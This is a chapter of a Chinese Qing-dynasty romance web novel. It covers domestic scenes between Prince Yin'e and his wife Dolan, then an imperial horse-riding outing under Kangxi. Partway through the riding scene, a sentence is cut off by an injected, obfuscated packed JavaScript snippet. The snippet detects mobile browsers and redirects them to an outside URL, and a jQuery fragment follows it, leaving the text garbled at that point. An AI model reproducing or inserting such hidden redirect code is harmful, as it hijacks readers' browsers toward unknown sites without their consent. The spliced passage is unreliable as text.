18. 第 18 章
作品:《清穿之十福晋被读心了》 喝得醉醺醺的胤俄被何为搀扶着回到了乾西五所,图音和宝音两个小丫头见状,忙不迭挡在了正屋的石阶下:“爷,福晋睡下了。”
多兰午睡之前特意交代了宝音与图音,若是胤俄回来寻她,切不可将人放进去惊醒她。
胤俄的脸红扑扑的,强打起精神睁着迷离的眼眸,望了一眼紧闭着的房门,旋即对着何为说道:“回,回书房。”
何为搀扶着胤俄调转脚步,主仆二人往书房的方向去了。
见着胤俄走远,宝音与图音相视一眼,二人松了口气。
胤俄虽然醉酒,万幸还有几分理智,若是非要进屋去,她们两个定然是拦不住的,等吵醒了福晋,二位主子怕是又要闹起来了。
内室中熟睡的多兰对外面发生的事儿是一概不知的,但她睡醒后,宝音与图音却是一五一十回禀了她。
她本来只是嘱咐两个丫头,不想叫人惊了她的美容觉,不承想胤俄还真的来寻她了。
说曹操曹操到,多兰刚说完胤俄,胤俄就迈着步子来了。
“福晋。”胤俄嬉皮笑脸的坐在了多兰身旁。
一股清香味儿蹿进了多兰的鼻腔中,看来胤俄醒酒汤喝了,也沐浴更衣了。
多兰将手中的话本翻过一页,不冷不热的问:“爷有事吗?”
胤俄瞧着多兰这模样,便认为多兰生气了,忙解释道:“福晋,今个儿没回来陪你用午膳,明日、后日我一定早早回来。”
多兰一头雾水:“爷不是叫何为传话说去九哥处喝酒了吗?我一个人用膳挺好的。”
胤俄却认为多兰是在说反话,继续解释:“嗐,我本来没想去的,但九哥心情不好,连八哥都舍身相陪了,我不好不去啊。”
多兰将话本反扣在炕桌上,扭过头对着胤俄说道:“爷回不回来用膳不要紧,是否与八哥、九哥一处喝酒也不要紧,要紧的是不许你喝得满身酒臭味回来熏我。”
胤俄对她有误解,那她就将话说得明白些。
胤俄震惊的瞪大了眼睛:“福晋你原来是嫌弃我。”
多兰反问道:“醉汉谁不嫌弃啊?”
胤俄一时语塞:“那……那倒也是。”
胤俄心里倒是好受了些。
福晋不是嫌弃他这个人,而是嫌弃喝醉酒的他。
话音刚落,胤俄的肚子就咕咕的叫起来。
胤俄脸上一窘,连忙抬手捂住肚子。
在四所的时候,只顾着喝酒了,他压根没吃什么东西,如今酒醒肚子里空荡荡的,只喝了一碗醒酒汤,怎么能不饿呢。
多兰见状,抬眸吩咐道:“宝音,去小厨房将熬好的红枣小米粥端一碗来。”
喝酒伤身,小米粥最是养胃了。
胤俄心中一暖,握住多兰的手说道:“福晋,我就知道你还是心疼我的。”
多兰忙不迭将手从胤俄手中抽出来,颇为嫌弃道:“肉麻,喝你的粥吧。”
胤俄只当多兰是在害羞,一个人憨憨的笑着。
到了用晚膳的时候,八仙桌上摆了六碟子菜,可放在他面前的两道菜却是寡淡的很,一道清灼菜心,另一道则是烧苦瓜。
胤俄提起筷子去夹那道茄汁鱼卷,却被多兰的筷子给挡了回来,胤俄不死心,转而去夹荷叶粉蒸肉,不出意外的又被多兰的筷子打了回来。
胤俄无奈哀求:“福晋,这菜心、还有苦瓜,实在太素了,一点儿油水都没有。”
多兰将筷子放下,一脸严肃的说道:“我是为了爷好,爷不领情就罢了,宝音,将菜心和苦瓜都撤了。”
宝音应声,迈步上前来,抬手就要将菜端下去,却被胤俄给拦住了:“别撤,我吃,我没说不吃。”
宝音见状,只好退了回去。
胤俄提起筷子夹了一块苦瓜送进嘴里,刚咀嚼了两下,胤俄的脸就皱成了一个苦瓜样,忙端起碗来喝了一大口粥,好缓解一下嘴巴里的苦味。
多兰见状,弯了弯嘴角。
胤俄经过了苦瓜带来的味蕾冲击,再吃清灼菜心就觉得美味极了,配着一碗黏稠软糯的小米粥,胤俄很快将那道清灼菜心吃的干干净净。
随着晚膳时光的流逝,外面的天色已然暗下来,今夜无月,一团墨色中只有残星几点,那无边黑暗中的微弱光亮远远瞧上去便有几分孤寂的意味。
胤俄从净室沐浴更衣出来回到内室没瞧见多兰的身影,便先上了拔步床坐等。
待多兰回来坐到梳妆台前,由着宝音为自己擦干头发时,胤俄下了拔步床抬步走到了多兰身后,抬手看向宝音:“长巾给我。”
多兰看着镜子里的胤俄问:“你会吗?”
胤俄只道:“擦个头发,爷有什么不会的。”
福晋也太小看他了。
宝音便将长巾递给了胤俄,抬步退了出去,又将隔扇门给关住了。
内室中只余多兰和胤俄两个人,胤俄的双手将这条长巾展开去包多兰如瀑布般垂下的墨发,而后笨拙又生疏的揉搓着多兰柔顺的长发。
胤俄一上手,多兰就知道胤俄是在逞强,正想开口把宝音叫回来时,却感受到了头发被拉扯的痛感:“嘶——”
她有理由怀疑胤俄是在报自己让他吃苦瓜的仇。
胤俄见状,忙松了手,有些无措的解释道:“福晋,我不是故意的,扯到哪里了,叫我瞧瞧。”
他明明已经很小心了,也不知怎的福晋的头发像藤蔓似的就缠到他手指上了。
多兰狠狠剜了胤俄一眼,将他手中的长巾抽出来,又冲着隔扇门唤道:“宝音,进来。”
她就不该相信胤俄,从小由奴才们伺候长大的草包皇阿哥,怎么会做这些事情,万幸胤俄只是扯到了她的头皮,没有将她的头发拉扯掉一根,不然她饶了胤俄。
专业的事情还是要交给专业的人来做,湿着头发睡觉可不好。
不明所以的宝音走进来便瞧见生气的多兰和愧疚的胤俄。
得,爷献殷勤没献好,搞砸了。
宝音快步走进来行至多兰身后,取过多兰手中的长巾,开始熟练的为多兰擦干头发。
一旁站着的胤俄本想借此机会跟着宝音学一学擦头发的技巧,以后好弥补这个短板,却被多兰犀利的眼神给吓了回去。
宝音为多兰擦干头发后,又拿着梳篦为多兰通发,做完这一切以后,宝音退了出去将隔扇门关上,而多兰也上了拔步床安寝。
胤俄自知理亏,这一夜倒是安分的很。
——
春日晴朗,惠风和畅。
康熙手头积压的折子处理完毕,想要活动活动筋骨,便起了雅兴带着众皇子们到马场赛马去。
当然,康熙点名的是已然入朝办差的皇子们,至于没成年的皇子们还得乖乖的在上书房读书。
正对着马场的广场上搭建了供观赏乘凉的棚子,康熙的龙椅自然放在最佳观赏位——C位,挨着龙椅的自然是太子爷胤礽的宝座,其余的皇子以及福晋们则分坐在两边。
多兰对于这种户外的观赏性活动还是很感兴趣的,而且面前的长桌上还摆放着各色茶点果子可以享用。
供皇室众人观赏、乘骑的马匹都是经过上驷院的奴才们喂养、驯服的,脾性大多都是温顺的。
养马太监牵来了第一匹御马,康熙从龙椅上站起身,径直走到那匹高
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16469785|185120||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
大的棕红色御马身旁,动作利落的翻身上马。
马背上一身明黄色龙袍的帝王矜贵威严,俯视众生,尽显王者霸气。
康熙勒紧缰绳,轻夹马腹,便见这棕红色的御马在马场里快速奔跑起来,马蹄飞扬、尘土四溅,马背上的帝王身姿挺拔如松,眼睛犀利如鹰隼。
康熙骑着御马很快便绕场一周,旋即勒紧缰绳叫停,翻身下马。
康熙的双脚一落地,观赏区的众人立马站起身来迎接,称赞之声、敬仰之情此起彼伏。
康熙龙颜大悦:“保成,去吧。”
保成乃是太子胤礽的乳名。
当着这么多儿子的面,康熙依旧亲昵的呼唤太子的乳名,可见胤礽在康熙心中的分量。
多兰边吃着果子边在心里想着。
太子胤礽剑眉星目,身着一件杏黄色的蟒袍,玄色腰带上挂着一块和田玉佩,俨然一副少年帝王的气派。
胤礽闻此言,拱手道:“儿臣遵旨。”
大阿哥胤褆的眼中快速划过不满之色。
兄弟之中他居长,可偏偏什么风头都让胤礽夺了去。
康熙在龙椅上落坐后,其余人等才跟着坐下,康熙瞧着胤礽叫养马太监牵了一匹新马过来,便将手中的茶盏放下,唤道:“保成,何必那么麻烦,就骑朕的那匹。”
康熙此言一出,众皇子们面上的表情各异,可最气愤的还是胤褆。
胤礽旋即迈步回来,恭敬的拱手道:“汗阿玛,儿臣还是换一匹的好。”
虽然他是当朝储君,但骑帝王骑过的马,往小了说是僭越,往大了说那可就……
他是太子但更是臣子,需守本分。
康熙见胤礽似有顾虑,嘴角一扬,言道:“朕今日带着你们兄弟赛马,乃是父子间的切磋,不必拘谨。”
康熙话说到这里,胤礽自然不好再推辞,行礼谢恩之后,便翻身上马在马场里尽情奔/驰。
胤褆的眼睛直勾勾的盯着马背上的胤礽,一双手默默攥成了拳头。
胤礽赛马结束,康熙夸赞了两句便叫胤礽入座,其余的皇子们便按照长幼顺序入场赛马。
胤褆大步流星的走入了马场,吩咐养马太监牵了一匹性子桀骜的马。
胤褆踩着马蹬翻身上马,在马背上坐稳之后,左手勒紧缰绳,轻夹马腹,那马便小跑起来。
这时,胤褆抬起右手去挥马鞭,一道道清脆响亮的马鞭声抽在了马的身上,那马感知到了疼痛,开始加速奔跑。
可胤褆并不满足,是以手上并没有停下用马鞭抽马的动作,一道道马鞭抽在身上,是火辣辣的痛感,这匹马的野性和烈性顷刻间便被激发了出来。
于是乎,这匹马开始发疯,先是毫无章法的乱跑,倏地又将马头抬向空中,更是将两条前蹄腾空离地,试图将背上的胤褆摔出去。
观赏区坐着的多兰瞧见这一幕,秀眉颦起,不由得为胤褆捏了一把汗。
而这一切正是胤褆想要的。
胤褆丝毫不慌,嘴角一勾,挥起马鞭,用自己颇为得意的驯马方法将这匹马治服了。
方才还在为胤褆担心的多兰,目睹了胤褆接下来的一系列操作之后,才明白胤褆是在康熙面前炫技呢,自己作为观众则是白白担忧了一场。
胤褆将马鞭扔给养马太监,得意洋洋的翻身下马来到康熙面前复命,本以为能得到康熙的赞赏,不承想只是一句:“入坐吧。”
胤褆拱手闷闷地应了一声,便回到了自己的座位坐下,将福晋张佳氏递过来的一盏茶灌入喉中。
汗阿玛的眼中只瞧得见胤礽。
胤褆有些沮丧、挫败,但又无可奈何。